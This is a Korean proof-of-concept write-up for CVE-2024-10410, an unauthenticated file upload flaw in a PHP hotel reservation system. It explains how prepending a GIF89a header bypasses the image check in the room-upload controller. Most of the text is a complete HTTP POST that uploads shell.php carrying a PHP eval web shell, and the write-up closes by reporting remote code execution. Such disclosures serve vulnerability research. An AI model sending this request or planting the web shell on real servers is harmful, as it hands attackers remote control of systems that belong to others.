
CVE-2024-10410에 대한 개념 증명 익스플로잇: Online Hotel Reservation System의 무제한 파일 업로드 취약점. GIF 헤더 인젝션을 통한 이미지 검증 우회로 원격 코드 실행을 달성하는 방법을 보여줍니다.
온라인 호텔 예약 시스템 (PHP/MySQLi) 소스 코드 포함 | SourceCodester
Online Hotel Reservation System에서 고위험 취약점이 발견되었습니다. 이 취약점은 /marimar/admin/mod_room/controller.php 파일의 업로드 기능에 영향을 미칩니다. 이미지 매개변수의 탐지 우회 작업으로 인해 무제한 파일 업로드가 가능합니다. 원격으로 공격을 실행할 수 있습니다.
marimar\admin\mod_room\controller.php

파일이 업로드된 후, $image_name 변수는 파일 이름을 현재 년, 월, 일로 변경한 다음, _와 업로드된 파일 이름을 추가합니다.
취약점은 $image_size 변수에 있습니다. 이 변수는 이미지 파일인지 감지하고, 그렇지 않으면 업로드를 비활성화합니다. 따라서 탐지를 우회하려면 주입된 악성 파일 앞에 이미지 헤더를 추가하기만 하면 됩니다.
POST http://localhost/marimar/admin/mod_room/controller.php?action=add HTTP/1.1
Host:
Content-Length: 895
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAQkzg4xV416LmyFO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.151.167.168/marimar/admin/mod_room/index.php?view=add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=
Connection: keep-alive
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOM"
test
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ACCOMID"
12
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMDESC"
123123
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="NUMPERSON"
4
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="PRICE"
112
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="ROOMNUM"
1
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: image/png
GIF89a
<?php eval($_POST['k1nako']);?>
------WebKitFormBoundaryAQkzg4xV416LmyFO
Content-Disposition: form-data; name="save"
------WebKitFormBoundaryAQkzg4xV416LmyFO--
악성 코드 앞에는 GIF로 위장한 GIF89a가 추가되었습니다. 업로드 패킷을 구성하면 쿠키가 삭제된 것을 볼 수 있으며, 이는 시스템에 인증이 없어 원격으로 공격을 실행할 수 있음을 나타냅니다.

경고가 표시되었지만 파일이 성공적으로 업로드되었으며, 파일 이름은 현재 시간(2024/10/25 21:55)을 기준으로 추론되었습니다.


성공적으로 getshell되었습니다.